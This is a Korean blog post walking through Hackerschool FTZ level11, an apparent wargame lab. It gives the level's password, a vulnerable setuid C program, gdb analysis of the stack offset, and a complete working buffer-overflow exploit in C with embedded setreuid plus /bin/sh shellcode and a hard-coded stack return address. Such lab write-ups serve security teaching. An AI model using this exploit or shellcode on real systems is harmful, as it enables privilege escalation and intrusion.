/*
* http://sosal.tistory.com/
* made by so_Sal
*/
오랜만에 다시 해커스쿨 잡아봤습니다.. ㅠㅠ
ID :: Level11
PW :: what!@#$?
이 포스트에서는 문제의 풀이에대한 요점만 다룹니다.
따라서 BOF의 이해는 아래 링크루 ^-^
LINK_
<Hint>
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
256 크기의 배열이 선언되어있고,
이 스택을 overflow 시켜서
ret값을 바꾸면 되겠네요.
배열을 선언할때마다 dummy 메모리 (잉여공간)이 생성됩니다.
따라서 메모리공간이 더미와 함께 총 얼마나 잡히는지
정확하게 하기위해서 gdb로 관찰해보겠습니다.
(bof는 정확한 계산이 필요합니다.)
[level11@ftz level11]$ gdb attackme
~~ 어쩌고 어쩌고~~
(gdb) disas main //또는 disassemble main
//메인함수를 디어셈 합니다.
//GDB 기능이 굉장히 많은데
//따로 공부하시길.. 바랍니다 ^-^
Dump of assembler code for function main:
0x08048470 <main+0>: push %ebp
0x08048471 <main+1>: mov %esp,%ebp
0x08048473 <main+3>: sub $0x108,%esp
0x08048479 <main+9>: sub $0x8,%esp
0x0804847c <main+12>: push $0xc14
0x08048481 <main+17>: push $0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
(이하생략)
(각 레지스터가 하는일을 잘 모르신다면 링크로 가셔서 공부하시기 바랍니다. LINK_ )
esp를 ebp로 옮긴다음 16진수 108이란 크기만큼 SUB 뺀다. (스택을 생성한다.)
고럼 16진수 108은 264니까!
총 잡히는 메모리의 크기는 264갰네요
264 + ebp + ret = 272
따라서, ret값을 덮으려면 268바이트만큼
쓰레기를 채우던지 뭐를 채우던지 한 후, 다음 4바이트 (ret)에다
원하는 리턴주소값 (보통 쉘이겠죠) 을 넣으면..!! 성공? 되겠습니다.
웹에서 쉽게 구할 수 있는 에그쉘을
대충 짜집기해서 exploit으로 탄생시켰습니다.
/*
* :: exploit 원리 ::
* 스택에 NOP + shellcode를 스택 268 바이트까지 밀어넣고
* 나머지 4바이트 (ret값을 가리키는 272번쨰칸) 에
* 다시 스택으로 돌아오는 주소값을 넣었습니다.
* 그럼 스택이 실행되면서 shellcode가 가지고 있는 명령어라 실행되겠습니다.
*/
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#define NOP 0x90 // 0x90은 아무런 의미 없는 문자로, 쓰레기로 많이 쓰입니다.
#define TARGET "/home/level11/attackme"
#define OFFSET 264 //왜 264인지 아실거라 믿습니다.
char shellcode[] =
"\x31\xc9\x66\xb9\x14\x0c\x31\xdb\x66\xbb\x14\x0c"
"\x31\xc0\xb0\x46\xcd\x80\x55\x89\xe5\xeb\x1f\x5e"
"\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\xc8\xf8\xff\xbf"
"\xf0\xf8\xff\xbf"; // <-- 스택으로 다시 리턴하는 주소값
//쉘코드에는 setreuid() 함수도 함께 들어있어서
//setreuid() 권한 호출 함수가 없더라도 exploit으로 쓸 수 있습니다.
int main(int argc, char *argv[])
{
char buf[BUFSIZ];
int i, sclen, j;
sclen = strlen(shellcode);
for(i = 0; i < (OFFSET+8-sclen); i++)
buf[i] = NOP;
for(j = 0; j < sclen; j++) {
buf[i] = shellcode[j];
i++;
}
//쓰레기 + shellcode = 272
//268까지 stack + ebp, 나머지 4는?
//쉘코드 마지막 빨간줄입니다!!
//스택에 쉘코드가 쌓이고, 리턴값은 다시 쉘코드가 있는
//스택으로 향하게 합니다. -> 쉘코드 실행
execl(TARGET, "attackme", buf, 0); //argv[1]로 buf 전달
}
'Linux > Linux_technic' 카테고리의 다른 글
해커스쿨 11~20 정답, 공격코드 (0) | 2010.01.31 |
---|---|
Linux :: 디버거 GDB 디버깅 테크닉 (2) | 2010.01.31 |
strings - 의미 있는 문자열 dump (0) | 2009.11.08 |
Object file - ELF 파일 (0) | 2009.10.23 |
od - 바이너리 파일 덤프 (0) | 2009.10.23 |